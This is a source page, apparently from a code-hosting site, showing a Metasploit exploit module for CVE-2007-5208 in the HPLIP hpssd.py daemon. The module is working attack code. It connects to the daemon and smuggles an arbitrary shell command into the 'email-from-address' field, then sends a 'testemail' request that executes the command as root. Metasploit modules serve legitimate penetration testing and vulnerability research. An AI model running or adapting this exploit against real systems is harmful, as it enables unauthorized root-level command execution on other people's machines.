Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/hplip_hpssd_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'HPLIP hpssd.py From Address Arbitrary Command Execution',13'Description' => %q{14This module exploits a command execution vulnerable in the hpssd.py15daemon of the Hewlett-Packard Linux Imaging and Printing Project.16According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.1718This module was written and tested using the Fedora 6 Linux distribution.19On the test system, the daemon listens on localhost only and runs with20root privileges. Although the configuration shows the daemon is to21listen on port 2207, it actually listens on a dynamic port.2223NOTE: If the target system does not have a 'sendmail' command installed,24this vulnerability cannot be exploited.25},26'Author' => [ 'jduck' ],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2007-5208' ],31[ 'OSVDB', '41693' ],32[ 'BID', '26054' ],33[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],34[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]35],36'Platform' => ['unix'],37'Arch' => ARCH_CMD,38'Privileged' => true,39'Payload' =>40{41'Space' => 1024,42'DisableNops' => true,43'Compat' =>44{45'PayloadType' => 'cmd',46# *_perl and *_ruby work if they are installed47# inetd isn't used on FC6/7 (xinetd is)48# netcat doesn't have -e by default49}50},51'Targets' =>52[53[ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]54],55'DefaultTarget' => 0,56'DisclosureDate' => '2007-10-04'57))5859register_options(60[61Opt::RPORT(2207),62])63end6465def exploit6667connect6869#cmd = "nohup " + payload.encoded70cmd = payload.encoded7172username = 'root'73toaddr = 'nosuchuser'7475# first setalerts76print_status("Sending 'setalerts' request with encoded command line...")77msg = "username=#{username}\n" +78"email-alerts=1\n" +79#"email-from-address=`#{cmd}`\n" +80"email-from-address=x;#{cmd};\n" +81"email-to-addresses=#{toaddr}\n" +82"msg=setalerts\n"83sock.put(msg)8485# next, the test email command86print_status("Sending 'testemail' request to trigger execution...")87msg = "msg=testemail\n"88sock.put(msg)8990end91end929394